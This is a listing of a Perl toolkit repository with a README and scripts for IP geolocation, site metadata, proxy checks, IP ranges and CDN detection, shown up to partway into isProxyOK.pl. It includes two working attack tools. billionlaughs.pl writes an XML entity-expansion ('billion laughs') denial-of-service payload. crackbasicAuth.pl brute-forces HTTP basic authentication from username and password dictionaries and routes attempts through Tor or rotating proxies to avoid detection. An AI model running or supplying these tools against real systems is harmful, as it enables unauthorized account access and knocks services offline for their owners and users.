├── README
├── billionlaughs.pl
├── crackbasicAuth.pl
├── getAlexaAndCat.pl
├── getIPinfoOffline.pl
├── getIPinfoOnline.pl
├── getWebPageContent.pl
├── ip2range.pl
├── ipv4_in_range.pl
├── isProxyOK.pl
├── isRealSpider.pl
├── readTitle.pl
└── whichCDNUser.pl


/README:
--------------------------------------------------------------------------------
 1 | readTitle.pl: read the website title from the specified hostname or hostname
 2 | files (support http and https)
 3 | usage: perl readTitle.pl hostname or hostname file
 4 | 
 5 | getAlexaAndCat.pl: get the specify website's alexa value and web catalog
 6 | usage: perl getAlexaAndCat hostname or hostname file
 7 | 
 8 | isRealSpider.pl: detect the given ip is or not a
 9 | google/baidu/yahoo/bing/msn spider
10 | usage: perl isRealSpider.pl -h for more help
11 | 
12 | getIPinfoOnline.pl: get the specify IP's basic information use online IP DB
13 | APIs as follows:
14 |     1  ipinfo.io
15 |     2  ip-api.com
16 |     3  ip-taobao.com
17 |     4  www.cz88.net
18 |     5  ip.chinaz.com
19 | usage: perl getIPinfoOnline.pl -h for more help
20 | 
21 | getIPinfoOffline.pl: get the specify IP/host's basic information use offline
22 | IP DB supplied by maxmind.com
23 | usage: perl getIPinfoOffline.pl -h for more help
24 | 
25 | crackbasicAuth.pl: crack http basic authentication use username/password dict,
26 | also you can use tor or proxy list
27 | usage: perl crackbasicAuth.pl -h for more help
28 | 
29 | isProxyOK.pl: detect the proxy(proxy list) is avaiable or not and the proxy type(High Anoymity, Anoymity or Transparent)
30 | usage: perl isProxyOK.pl -h for more help
31 | For more info http://danqingdani.blog.163.com/blog/static/1860941952014412104711626/
32 | 
33 | ip2range.pl: read ip list from file and transform to ip range format like 1.2.3.4- 1.2.3.56
34 | usage: perl ip2range2.pl ipList file
35 | 
36 | ipv4_in_range.pl: detect is a ip in a ip range or not,support formats as follows
37 | perl 1.2.3.4 1.2.3.0/10
38 | perl 1.2.3.4 1.2.3.0/255.255.255.0
39 | perl 1.2.3.4 1.2.3.0-1.2.3.233
40 | perl 1.2.3.4 1.2.3.*
41 | 
42 | getWebPageContent.pl : get web page content of the specify url, especially for chinese webpage
43 | usage: perl getWebPageContent.pl http://www.baidu.com
44 | 
45 | whichCDNUser.pl: detect cdn provider of the special hostname
46 | includs cloudflare, 360wanzhangweishi, jiasule, yuanjiasu, anquanbao, incapsula
47 | usage: perl whichCDNUser.pl www.tanjiti.com
48 | 


--------------------------------------------------------------------------------
/billionlaughs.pl:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/perl
 2 | use strict;
 3 | use warnings;
 4 | use feature qw(say);
 5 | #number of entities is 2^30 if $entities = 30
 6 | my $entities = 30;#you can modify the value to generate more entities
 7 | my $i = 1;
 8 | 
 9 | open my $OUT, ">", "BillionLaughs.txt" or die "cannot write to BillionLaughs.txt $! \n";
10 | say $OUT "<?xml version=\"1.0\"?>";
11 | say $OUT "<!DOCTYPE root[";
12 | say $OUT "<!ELEMENT root (#PCDATA)>";
13 | say $OUT " <!ENTITY ha0 \"Ha!\">";
14 | 
15 | for (; $i <= $entities; $i++) {
16 |    printf $OUT " <!ENTITY ha%s \"&ha%s;&ha%s;\" >\n",$i,$i-1,$i-1;
17 | }
18 | say $OUT "]>";
19 | printf $OUT "<root>&ha%s;</root>",$entities;
20 | 


--------------------------------------------------------------------------------
/crackbasicAuth.pl:
--------------------------------------------------------------------------------
  1 | #!/usr/local/bin/perl
  2 | use strict;
  3 | use warnings;
  4 | use LWP::UserAgent;
  5 | use feature qw(switch say);
  6 | use MIME::Base64 qw(encode_base64);
  7 | use Getopt::Long;
  8 | use Carp;
  9 | use URI::Split qw(uri_split);
 10 | use Term::ANSIColor qw(:constants);
 11 | 
 12 | local $Term::ANSIColor::AUTORESET = 1;
 13 | 
 14 | my  $help = q{};
 15 | my  $url = q{};
 16 | my  $host = q{};
 17 | my  $username = q{};
 18 | my  $password = q{};
 19 | my  $tor = q{};
 20 | my  $proxy = q{};
 21 | my  $debug = q{};
 22 | 
 23 | GetOptions(
 24 |     'help|h'=>\$help,
 25 |     'url=s'=>\$url,
 26 |     'username=s'=>\$username,
 27 |     'password=s'=>\$password,
 28 |     'host=s'=>\$host,
 29 |     'tor'=>\$tor,
 30 |     'proxy=s'=>\$proxy,
 31 |     'vv'=>\$debug,
 32 | );
 33 | 
 34 | if($help){
 35 |     print <<__HELP__;
 36 | Notice: In order to run this script you must have those modules installed
 37 | 
 38 | cpan -i LWP::UserAgent
 39 | cpan -i LWP::Protocol::https
 40 | cpan -i LWP::Protocol::socks
 41 | cpan -i MIME::Base64
 42 | cpan -i Getopt::Long
 43 | cpan -i URI::Split
 44 | cpan -i Term::ANSIColor
 45 | 
 46 | Usage: $0 -url http://www.xxx.com/xxx/ -username tanjiti -password qwerasdf
 47 | [-host www.xxx.com] [-tor] [-proxy http://xxx.xxx.xxx.:7808] [-vv]
 48 | where:
 49 | -url : Specify the url for basic Authentication
 50 | 
 51 | -username : Specify the username for authentication, it can be a username string or username dict filename
 52 | 
 53 | -password: Specify the password for authentication, it can be a password
 54 | string or password dict filename
 55 | 
 56 | -host: Specify the hostname for Host header , default value is split from url
 57 | 
 58 | -tor: Specify use the tor, You need install tor first like apt-get install tor
 59 | on Debian/Ubuntu  
 60 | 
 61 | -proxy: Specify the proxy,it can ben a proxy string like
 62 | "http://23.228.65.132:7808" or proxy list filename
 63 | 
 64 | -vv: Specify the http request and response information
 65 | 
 66 | -h : For more help
 67 | 
 68 | __HELP__
 69 |     exit 0;
 70 | 
 71 | 
 72 | }
 73 | 
 74 | 
 75 | chomp $url;
 76 | chomp $username;
 77 | chomp $password;
 78 | chomp $host;
 79 | chomp $proxy;
 80 | 
 81 | croak "You need to specify the basic authentication URL, username(username dict
 82 | filename), password(password dict filename) \n Please run --help for more information. \n" if $url eq q{} or $username eq q{} or $password eq q{};
 83 | 
 84 | #Get host part from $url
 85 | my ($scheme,$auth,$path,$query,$frag) = uri_split($url);
 86 | 
 87 | 
 88 | $host = $auth if defined $auth and $host eq q{};
 89 | 
 90 | ##################################################################
 91 | ##  readFromFile(): storage the file contents into an array     ##
 92 | ##  parameter: $filename                                        ##
 93 | ##  return: @contents(array)                                    ##
 94 | ##################################################################
 95 | sub readFromFile{
 96 |     my $filename = shift;
 97 |     open my ($FH), "<", $filename or die "cannot open $filename for reading:  $! \n";
 98 |     my @contents = ();
 99 | 
100 |     while(<$FH>){
101 |         chomp $_;
102 |         push @contents, $_;
103 |     }
104 |     close $FH;
105 |     return @contents;
106 | }
107 | 
108 | ##################################################################
109 | ##  getCode(): set http request and got http response code      ##
110 | ##  parameters:$url,$username,$password,$host,$proxy                            
111 | ##  return : $response->code(string)                            ##
112 | ##################################################################
113 | sub getCode{
114 |     my ($url,$username,$password,$host,$proxy) = @_;
115 | 
116 | 
117 |     my $authenBase64 = encode_base64("$username:$password");
118 | 
119 |     my $ua = LWP::UserAgent->new;
120 |     $ua->agent("Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0");
121 |     $ua->timeout(10);
122 |     $ua->default_headers->push_header('Accept'=>'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8');
123 |     $ua->default_headers->push_header('Accept-Encoding'=>'gzip,deflate,sdch');
124 |     $ua->default_headers->push_header('Authorization' => "Basic $authenBase64");
125 |     $ua->default_headers->push_header('Host' => $host);
126 |     $ua->default_headers->push_header('Connection' => 'keep-alive');
127 |     $ua->show_progress(1);
128 |     $ua->ssl_opts("verify_hostname" => 1);
129 |     $ua->proxy([qw/http https/] => $proxy) if $proxy;
130 |     my $response = $ua->get($url);
131 |     say BOLD BLUE $response->request->as_string if $debug;
132 |     say BOLD CYAN $response->headers->as_string if $debug;
133 |     return $response->code;
134 | }
135 | 
136 | 
137 | ##################################################################
138 | ##  tryLogin(): try username(dict),password(dict) use tor or proxy(list) or nothing
139 | ##  parameters: $url, $usernames_ref, $passwords_ref, $host, $tor, $proxy_ref
140 | ##  return: result(string)
141 | ##################################################################
142 | sub tryLogin{
143 |     my ($url, $usernames_ref, $passwords_ref, $host, $tor, $proxy_ref) =  @_;
144 |     my @usernames = @$usernames_ref;
145 |     my @passwords = @$passwords_ref;
146 |     my @proxys = @$proxy_ref;
147 |     
148 |     my $proxy = $proxys[0];
149 | 
150 |     $proxy = "socks://localhost:9050" if $tor;
151 | 
152 |     foreach my $password (@passwords){
153 |         foreach my $username (@usernames){
154 |             say BOLD YELLOW "Now try $username : $password ";
155 |             
156 |             if($#proxys > 0){
157 |                 srand(time|$$);
158 |                 my $number = int(rand($#proxys));
159 |                 $proxy = $proxys[$number];
160 |             }
161 |             say BOLD YELLOW "Use Proxy: $proxy " if $proxy;
162 |             my $code = getCode($url, $username,  $password, $host, $proxy);
163 |             return "Login $url Success with $username and $password" if $code
164 |             == 404 or $code == 200;
165 |         }
166 |     }
167 |     return "Login $url Failed !!!!";
168 | }
169 | 
170 | 
171 | my @usernames =   -r $username ? readFromFile($username) : $username;
172 | my @passwords =   -r $password ? readFromFile($password) : $password;
173 | my @proxys = -r $proxy ? readFromFile($proxy) : $proxy;
174 | 
175 | my $result = tryLogin($url,\@usernames,\@passwords,$host,$tor,\@proxys);
176 | 
177 | say BOLD RED $result ;
178 | 
179 | 


--------------------------------------------------------------------------------
/getAlexaAndCat.pl:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/perl
 2 | use strict;
 3 | use warnings;
 4 | use LWP::UserAgent;
 5 | use feature qw(say);
 6 | 
 7 | binmode(STDIN, ':encoding(utf8)');
 8 | binmode(STDOUT, ':encoding(utf8)');
 9 | binmode(STDERR, ':encoding(utf8)');
10 | 
11 | die "You must specify the file include hostlist for analyze or the hostname
12 | for analyze .\n" if ($#ARGV != 0);
13 | my $host = shift;
14 | 
15 | if(-e $host){
16 |    my $out = $host."_alexaAndType";
17 |    open my $FH, "<:encoding(UTF-8)", $host or die "cannot open $host for reading $!";
18 |    open my $OUT, ">:encoding(UTF-8)", $out or die "cannot open $out for writing $!";
19 | 
20 |    while(<$FH>){
21 |       chomp;
22 |       say $OUT getAlexa($_) if $_;
23 |    }
24 |    close $FH;
25 |    close $OUT;
26 | }else{
27 |    say getAlexa($host) if $host ne "";
28 | }
29 | 
30 | sub getAlexa{
31 |    my $host = shift;
32 |    chomp $host;
33 | 
34 |    my $UserAgent = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0";
35 |    my $browser = LWP::UserAgent->new();
36 |    $browser->agent($UserAgent);
37 | 
38 |    my $uri = 'http://data.alexa.com/data?cli=10&dat=snbamz&url='.$host;
39 |    my $response = $browser->get($uri);
40 |    my $content = $response->decoded_content;
41 |    my $alexa = 0;
42 |    my $catalog = "";
43 | 
44 |    $alexa = $1 if $content =~ /<COUNTRY CODE="[A-Z]{2}" NAME="[\w\s]+" RANK="(\d+)"\/>/;
45 |    my @cats = ($content =~/<CAT ID="[^"]+" TITLE="([^"]+)" CID="\d+"\/>/g);
46 | 
47 |    if ($#cats == 0){
48 |       $catalog = $cats[0];
49 |    }else{
50 |       foreach (@cats){
51 |          $catalog .= $_.";";
52 |       }
53 |       chop $catalog;
54 |    }
55 |    $catalog = "NONE" if $catalog eq "";
56 |    return $host."\t".$alexa."\t".$catalog;
57 | }
58 | 


--------------------------------------------------------------------------------
/getIPinfoOffline.pl:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/perl 
  2 | #Author: tanjiti
  3 | use Getopt::Long;
  4 | use Regexp::Common qw(net); 
  5 | use Term::ANSIColor qw(:constants);
  6 | use utf8;
  7 | 
  8 | binmode(STDIN, ':encoding(utf8)');
  9 | binmode(STDOUT, ':encoding(utf8)');
 10 | binmode(STDERR, ':encoding(utf8)');
 11 | 
 12 | my $help = q{};
 13 | my $ip = q{};
 14 | my $host = q{};
 15 | 
 16 | local $Term::ANSIColor::AUTORESET = 1;
 17 | 
 18 | GetOptions(
 19 | 'help|h'=>\$help,
 20 | 'ip=s'=>\$ip,
 21 | 'host=s'=>\$host
 22 | );
 23 | 
 24 | 
 25 | if($help){
 26 | print <<__HELP__;
 27 | Notice: In order to run this script you must have to do steps as follows:
 28 | 
 29 | 1. install Getopt::Long,Regexp::Common,Term::ANSIColor Modules
 30 | cpan -i Getopt::Long
 31 | cpan -i Regexp::Common
 32 | cpan -i Term::ANSIColor
 33 | 
 34 | 2. download  GeoIP.dat,GeoLiteCity.dat,GeoIPASNum.dat into the specify filepath (any position is OK) 
 35 | wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCountry/GeoIP.dat.gz
 36 | wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
 37 | wget http://download.maxmind.com/download/geoip/database/asnum/GeoIPASNum.dat.gz
 38 | gunzip GeoIP.dat.gz
 39 | gunzip GeoLiteCity.dat.gz
 40 | gunzip GeoIPASNum.dat.gz
 41 | 
 42 | 3. install geoip-bin
 43 | (1)install on debian: apt-get install geoip-bin
 44 | (2)install from source: 
 45 | wget http://geolite.maxmind.com/download/geoip/api/c/GeoIP.tar.gz
 46 | tar zxvf GeoIP.tar.gz 
 47 | cd GeoIP-1.4.8/
 48 | ./configure
 49 | make
 50 | make install
 51 | echo '/usr/local/lib' > /etc/ld.so.conf.d/geoip.conf
 52 | ldconfig
 53 | 
 54 | 4.modify the GeoIP.dat,GeoLiteCity.dat,GeoIPASNum.dat file path in  sub  geoiplookup{} 
 55 | 
 56 | 
 57 | 
 58 | 
 59 | Usage: $0 -ip xxx.xxxx.xxx -host xxx
 60 | 
 61 | where:
 62 | -ip : Specify the ip address to query
 63 | -host: Specify the host address to query
 64 | 
 65 | __HELP__
 66 | exit 0;
 67 | 
 68 | }
 69 | 
 70 | chomp $ip;
 71 | chomp $host;
 72 | 
 73 | die "You need to specify the ip address or hostname to query. Please run --help for more information " if  ($ip eq q{} and $host eq q{});
 74 | 
 75 | #query the specify ip geo information
 76 | geoiplookup($ip) if $ip ne q{};
 77 | 
 78 | #query the specify host geo information
 79 | if ($host){
 80 |    my @ips=hosttoIP($host); 
 81 | 
 82 |    print BOLD RED "$host GEO information: \n";
 83 |     
 84 |    map { geoiplookup($_)} @ips;
 85 | }
 86 | 
 87 | 
 88 | 
 89 | 
 90 | sub hosttoIP{
 91 |    my $host = shift;
 92 |    my $result = `host $host`;
 93 |    my @results = split("\n",$result);
 94 |    
 95 |    my @ips = map {  /($RE{net}{IPv4})/} @results;
 96 |    
 97 |    return @ips;
 98 | }
 99 | 
100 | sub  geoiplookup{
101 |    my $ip = shift;
102 |     
103 |    #NOTICE HERE: substitute your IP date file 
104 |    my $country = `geoiplookup -f /usr/share/GeoIP/GeoIP.dat $ip`;
105 |    my $city = `geoiplookup -f /usr/share/GeoIP/GeoLiteCity.dat $ip`;
106 |    my $ASNum = `geoiplookup -f /usr/share/GeoIP/GeoIPASNum.dat $ip`;
107 | 
108 |    print BOLD BLUE "$ip GEO information: \n";
109 |    print "\t",$country;
110 |    print "\t",$city;
111 |    print "\t",$ASNum;
112 | }
113 | 


--------------------------------------------------------------------------------
/getIPinfoOnline.pl:
--------------------------------------------------------------------------------
  1 | #!/usr/local/bin/perl
  2 | #Author: tanjiti
  3 | use strict;
  4 | use warnings;
  5 | use Getopt::Long;
  6 | use LWP::UserAgent;
  7 | use utf8;
  8 | use JSON;
  9 | use feature qw{ switch  say};
 10 | use Term::ANSIColor qw(:constants);
 11 | use Regexp::Common qw(net);
 12 | 
 13 | #no warnings 'experimental::smartmatch';
 14 | 
 15 | local $Term::ANSIColor::AUTORESET = 1;
 16 | 
 17 | binmode(STDIN, ':encoding(utf8)');
 18 | binmode(STDOUT, ':encoding(utf8)');
 19 | binmode(STDERR, ':encoding(utf8)');
 20 | 
 21 | 
 22 | 
 23 | my $help =q{};
 24 | my $ip = q{};
 25 | my $option = 0;
 26 | 
 27 | GetOptions(
 28 |     'help|h'=>\$help,
 29 |     'ip=s'=>\$ip,
 30 |     't=i'=>\$option,
 31 | );
 32 | 
 33 | if($help){
 34 |     print <<__HELP__;
 35 | Notice: In order to run this script you must have Bundle::LWP,Getopt::Long,Regexp::Common Term::ANSIColor installed
 36 | cpan -i Bundle::LWP
 37 | cpan -i Getopt::Long
 38 | cpan -i Term::ANSIColor
 39 | cpan -i Regexp::Common
 40 | for install the depended module
 41 | 
 42 | This script is a on_line ip info query use these APIs interface as follows:
 43 | 1. ipinfo.io
 44 | 2. ip-api.com
 45 | 3. ip-taobao.com (chinese)
 46 | 4. www.cz88.net (chinese)
 47 | 5. ip.chinaz.com (chinese)
 48 | 6. www.ip138.com (chinese)
 49 | 
 50 | 
 51 | Usage: $0 -ip xxx.xxx.xxx.xxx [-t x]
 52 | 
 53 | where:
 54 | -ip : Specify the ip for query
 55 | -t : Specify the IP DB Interface 
 56 |     1  ipinfo.io
 57 |     2  ip-api.com
 58 |     3  ip-taobao.com
 59 |     4  www.cz88.net
 60 |     5  ip.chinaz.com
 61 |     6  www.ip138.com
 62 |     no parameter means use all Interfaces , is the default options
 63 | 
 64 | -h : For more help
 65 | 
 66 | __HELP__
 67 |     exit 0;
 68 | 
 69 | 
 70 | 
 71 | 
 72 | }
 73 | 
 74 | chomp $ip;
 75 | chomp $option;
 76 | 
 77 | die "You need to specify the ip for query. Please run --help for more information. \n" if ($ip eq q{});
 78 | 
 79 | 
 80 | die "Invalid IP format" if $ip !~ /$RE{net}{IPv4}/;
 81 | 
 82 | given ($option){
 83 |     when (1) { getResult($ip,1); break;}
 84 |     when (2) { getResult($ip,2); break;}
 85 |     when (3) { getResult($ip,3); break;} 
 86 |     when (4) { getResult($ip,4); break;}
 87 |     when (5) { getResult($ip,5); break;}
 88 |     when (6) { getResult($ip,6); break;}
 89 |     default { 
 90 |         getResult($ip,1); 
 91 |         getResult($ip,2); 
 92 |         getResult($ip,3); 
 93 |         getResult($ip,4); 
 94 |         getResult($ip,5); 
 95 |         getresult($ip,6);
 96 |     }
 97 | 
 98 | 
 99 | }
100 | 
101 | 
102 | sub queryIPINFO{
103 |     my $content = shift;
104 |     my $content_ref = decode_json($content);
105 | 
106 |     print BOLD MAGENTA "******************IP INFO from ipinfo.io************** \n";
107 |     my %datas = %$content_ref;
108 |     
109 |     foreach (keys %datas){
110 |         print  $_." : ".$datas{$_}."\n" if defined $datas{$_};
111 |                                                       
112 |     }
113 |     return;
114 | }
115 | 
116 | sub queryIPAPI{
117 |     my $content = shift;
118 |     my $content_ref = decode_json($content);
119 |     
120 |     print BOLD BLUE "**********************IP INFO from ip-api.com**************\n";
121 |     
122 |     if(exists $content_ref->{"status"} and $content_ref->{"status"} eq "success"){
123 |         my %datas = %$content_ref;
124 | 
125 |         foreach (keys %datas){
126 |             print  $_." : ".$datas{$_}."\n";
127 |         }
128 |      return;
129 |      }
130 |     
131 | }
132 | 
133 | sub queryTAOBAO{
134 |     my $content = shift;
135 |     my $content_ref = decode_json($content);
136 | 
137 |     print BOLD RED "***********************IP INFO from taobao淘宝*******************\n";
138 | 
139 |     if(exists $content_ref->{"code"} and $content_ref->{"code"} == 0){
140 |         my $data_ref = $content_ref->{"data"};
141 |         my %datas = %$data_ref;
142 |         foreach (keys %datas){
143 |             print  $_." : ".$datas{$_}."\n";
144 |         }
145 |         return;
146 |     }
147 | }
148 | 
149 | sub queryCZ88{
150 |     my $content = shift;
151 | 
152 |     print BOLD YELLOW "********************IP INFO from chunzhen 纯真*****************\n";
153 | 
154 |      if ($content =~ /<span id="InputIPAddrMessage">(.*?)<\/span><\/div>/i){
155 |         print $1,"\n";
156 |      }
157 |      return;
158 | 
159 | }
160 | 
161 | sub queryCHINAZ{
162 |     my $content = shift;
163 | 
164 |     print BOLD CYAN "***********************IP INFO from chinaz 站长之家**********************\n";
165 | 
166 |     if  ($content =~ /<strong class="red">(.*?)<\/strong><br \/>/i){
167 |         print $1,"\n";
168 |     }
169 |     return;
170 | }
171 | 
172 | sub queryIP138{
173 |     my $content = shift;
174 |     print BOLD CYAN "***********************IP INFO from ip138 **********************\n";
175 | 
176 |     if ( $content =~ /<ul class="ul1"><li>(.*?)<\/li>/i){
177 |         print $1,"\n";
178 |     }
179 |     return;
180 | 
181 | }
182 | 
183 | sub getResult{
184 |     my ($ip, $option) = @_;
185 | 
186 |     my $browser = LWP::UserAgent->new();
187 |     $browser->default_headers->push_header('Accept-Encoding'=>'gzip,deflate');
188 |     $browser->default_headers->push_header('Accept'=>'*/*');
189 |     $browser->default_headers->push_header('Connection'=>'keep-alive');
190 | 
191 |     my $UA = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0";
192 | 
193 |     $browser->timeout(10);
194 | 
195 |     $browser->agent($UA);
196 |     
197 |     my $url = q{};
198 | 
199 |     given ($option){
200 |         when (1) { $url = "http://ipinfo.io/${ip}/json";  $browser->default_headers->push_header("Host"=>"ipinfo.io"); break;} 
201 |         when (2) { $url = "http://ip-api.com/json/${ip}"; $browser->default_headers->push_header("Host"=>"ip-api.com"); break;}
202 |         when (3) { $url = "http://ip.taobao.com/service/getIpInfo.php?ip=${ip}"; $browser->default_headers->push_header("Host"=>"ip.taobao.com"); break;}
203 |         when (4) { $url = "http://www.cz88.net/ip/index.aspx?ip=${ip}"; $browser->default_headers->push_header("Host"=>"www.cz88.net"); break;}
204 |         when (5) { $url = "http://ip.chinaz.com/?IP=${ip}"; $browser->default_headers->push_header("Host"=>"ip.chinaz.com"); break;}
205 |         when (6) { $url = "http://www.ip138.com/ips1388.asp?ip=${ip}&action=2"; $browser->default_headers->push_header("Host"=>"www.ip138.com"); break;}
206 |         default {print BOLD BLUE "Wrong Options \n"; break;}
207 |     
208 |     }
209 | 
210 |     my $response = $browser->get($url);
211 |     
212 |     if($response->is_success){
213 |         my $content = $response->decoded_content;
214 |         given ($option){
215 |             when (1) { queryIPINFO($content); break;}
216 |             when (2) { queryIPAPI($content); break;}
217 |             when (3) { queryTAOBAO($content); break;}
218 |             when (4) { queryCZ88($content); break;}
219 |             when (5) { queryCHINAZ($content); break;}
220 |             when (6) { queryIP138($content); break;}
221 |             default {print BOLD BLUE "Wrong Options \n"; break;}
222 |         }
223 |     }
224 |     else{
225 |         print STDERR $url,"\t",$response->status_line,"\n";
226 |     }
227 | 
228 | 
229 | }
230 | 


--------------------------------------------------------------------------------
/getWebPageContent.pl:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/perl
 2 | use strict;
 3 | use warnings;
 4 | use LWP::UserAgent;
 5 | use utf8;
 6 | use Encode;# qw(encode decode);
 7 | use HTML::Encoding 'encoding_from_http_message';
 8 | use feature qw(say);
 9 | 
10 | binmode(STDIN, ':encoding(utf8)');
11 | binmode(STDOUT, ':encoding(utf8)');
12 | binmode(STDERR, ':encoding(utf8)');
13 | 
14 | my $uri = shift;
15 | 
16 | my $UserAgent = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0";
17 | my $timeout = 180;
18 | my $redirect = 30;
19 | my $browser = LWP::UserAgent->new();
20 | $browser->agent($UserAgent);
21 | $browser->timeout($timeout);
22 | $browser->ssl_opts(verify_hostname => 1);
23 | $browser->max_redirect($redirect);
24 | $browser->show_progress(1);
25 | 
26 | $uri = 'http://'.$uri unless($uri =~ /https?:\/\/([^\/\\]+)/);
27 |     
28 | my $response = $browser->get($uri);
29 | 
30 | #get html encode
31 | my $enco = "";
32 | 
33 | #get first code
34 | $enco = $1 if ($response->as_string and $response->as_string =~  /<meta\s+http-equiv\s*=\s*"?content-type"?\s+content\s*=\s*"?text\/html;\s*charset\s*=\s*([-\w]+)"?/i);
35 |     
36 | #get second code
37 | $enco = $1 if $enco eq "" and ($response->as_string and $response->as_string =~/<meta\s+charset\s*=\s*"?([-\w]+)"?/i);
38 |    
39 | $enco = encoding_from_http_message($response) if $enco eq "";
40 |     
41 | $enco = "" if not defined $enco;
42 | $enco = uc($enco) if $enco ne "";
43 |     
44 | my @is_support_code = qw(UTF-8 UTF8 GB2312 GBK  GB_2312-80 US-ASCII);
45 |     
46 | my $is_ugly = 1;
47 | 
48 | foreach (@is_support_code){
49 | 	if($enco eq $_){
50 |             $is_ugly = 0;
51 |         }
52 |         last;
53 | } 
54 |     
55 | #if code is not in supported code set to GB2312 
56 | $enco = "GB2312" if $is_ugly == 1;
57 |     
58 | my $content = decode($enco,$response->as_string);
59 | 
60 | say $content;
61 | 
62 |     
63 | 


--------------------------------------------------------------------------------
/ip2range.pl:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/perl
 2 | use strict;
 3 | use warnings;
 4 | use List::MoreUtils qw(uniq);
 5 | use Regexp::Common qw(net);
 6 | use feature qw(say);
 7 | 
 8 | my $file = shift;
 9 | ipList2ipRange($file);
10 | 
11 | sub ipList2ipRange{
12 | 	my $file = shift;
13 | 
14 | 	open my $FH, "<" , $file or die "cannot open $file for transform  $!\n";
15 | 	my @ipv4s_tmp = <$FH>;
16 | 	close $FH;
17 | 
18 | 	#delete duplicate ip
19 | 	my @ipv4s_uniq = uniq @ipv4s_tmp;
20 | 
21 | 	#delete illegal ip
22 | 	my @ipv4s_legal = map {/($RE{net}{IPv4})/} @ipv4s_uniq;
23 | 
24 | 	#true ip to long number format
25 | 	my @ipv4s_long = map ip2long($_) , @ipv4s_legal;
26 | 
27 | 	#sort ip
28 | 	my @ipv4s_final = sort {$a <=> $b} @ipv4s_long;
29 | 
30 | 
31 | 	for (my $i = 0; $i < $#ipv4s_final;){
32 | 		my $j = $i;
33 | 		for(; $j < $#ipv4s_final and $ipv4s_final[$j + 1] == $ipv4s_final[$j] + 1; $j++){
34 | 
35 | 		}
36 | 		if ($j == $i){
37 | 			say long2ip($ipv4s_final[$i]) ;
38 | 		}else{
39 | 			say long2ip($ipv4s_final[$i])."-".long2ip($ipv4s_final[$j]);
40 | 		}
41 | 
42 | 		$i = $j + 1;
43 | 	}
44 | 
45 | 
46 | 
47 | }
48 | 
49 | 
50 | 
51 | sub ip2long{
52 | 
53 |     my $ip = shift;
54 |     my $long = unpack('N',(pack('C4',(split(/\./,$ip)))));
55 |     return $long;
56 | }
57 | 
58 | sub long2ip{
59 |     my $ip_dec = shift;
60 |     my @ip_parts = unpack('C4',(pack('N',$ip_dec)));
61 |     my $ip = join "\.",@ip_parts;
62 |     return $ip;
63 | }
64 | 


--------------------------------------------------------------------------------
/ipv4_in_range.pl:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env perl
 2 | use strict;
 3 | use warnings;
 4 | use feature qw(say);
 5 | my $ip = shift;
 6 | my $range = shift;
 7 | 
 8 | say ipv4_in_range($ip,$range);
 9 | 
10 | sub ipv4_in_range{
11 |     my $ip = shift;
12 |     my $range = shift;
13 |     
14 |     if (index($range,'/') != -1){
15 |         #range is in IP/NETMASK format
16 |         my ($range, $netmask) = split('/',$range,2);
17 |         my $ip_dec = ip2long($ip);
18 |         my $range_dec = ip2long($range);
19 |         my $netmask_dec = 0;
20 |         if(index($netmask,'.') != -1 ){
21 |             #netmask is a 255.255.0.0 format
22 |             $netmask = str_replace('*','0',$netmask);
23 |             $netmask_dec = ip2long($netmask);
24 |       
25 |         }else{
26 |             #netmask is a CIDR size block like 1.2.3.4/24
27 |             my ($a,$b,$c,$d) = split('.',$range,4);
28 | 
29 |             my $wildcard_dec = 2 ** (32 - $netmask) -1;
30 |             $netmask_dec = (~$wildcard_dec);
31 | 
32 |         }
33 |         return (($ip_dec & $netmask_dec) == ($range_dec & $netmask_dec)) ? 1:0;
34 | 
35 | 
36 |     }else{
37 |         # range might be 255.255.*.* or 1.2.3.0-1.2.3.255
38 |         if(index($range,'*') != -1){
39 |             #Just convert to A-B format by setting * to 0 for A and 255 for B
40 |             my $lower = str_replace('*','0',$range);
41 |             my $upper = str_replace('*','255',$range);
42 |             $range = $lower.'-'.$upper;
43 |         }
44 |         
45 |         if(index($range,'-') != -1){ 
46 |             my ($lower,$upper) = split('-',$range,2);
47 |             my $lower_dec = ip2long($lower);
48 |             my $upper_dec = ip2long($upper);
49 |             my $ip_dec = ip2long($ip);
50 |             return 1 if $ip_dec >= $lower_dec and $ip_dec <= $upper_dec;
51 |         }
52 |         return 0;
53 |      }
54 | 
55 | }
56 | 
57 | sub ip2long{
58 | 
59 |     my $ip = shift;
60 |     my $long = unpack('N',(pack('C4',(split(/\./,$ip)))));
61 |     return $long;
62 | }
63 | 
64 | sub long2ip{
65 |     my $ip_dec = shift;
66 |     my @ip_parts = unpack('C4',(pack('N',$ip_dec)));
67 |     my $ip = join "\.",@ip_parts;
68 |     return $ip;
69 | }
70 | 
71 | sub str_replace{
72 |     my ($from, $to, $string) = @_;
73 | 
74 |     my $length = length($from);
75 | 
76 |     my $p = 0;
77 | 
78 |     while ( ($p = index($string,$from,$p)) >= 0){
79 |         substr($string,$p,$length) = $to;
80 |     }
81 |     return $string;
82 | 
83 | 
84 | }
85 | 
86 | 


--------------------------------------------------------------------------------
/isProxyOK.pl:
--------------------------------------------------------------------------------
  1 | #!/usr/local/bin/perl
  2 | use strict;
  3 | use warnings;
  4 | use LWP::UserAgent;
  5 | use feature qw(switch say);
  6 | use Getopt::Long;
  7 | use Carp;
  8 | use Term::ANSIColor qw(:constants);
  9 | use Time::HiRes qw(time);
 10 | use URI::Split qw(uri_split);
 11 | use Time::HiRes qw(usleep);
 12 | local $Term::ANSIColor::AUTORESET = 1;
 13 | use Data::Dumper;
 14 | use JSON;
 15 | 
 16 | my $help = q{};
 17 | my $proxy = q{};
 18 | my $fileout = q{};
 19 | my $url = "http://www.tanjiti.com/proxy.php";
 20 | my $host = "www.tanjiit.com";
 21 | my $moreInfo = q{};
 22 | my $ip = q{};
 23 | my $http_retry = 3;
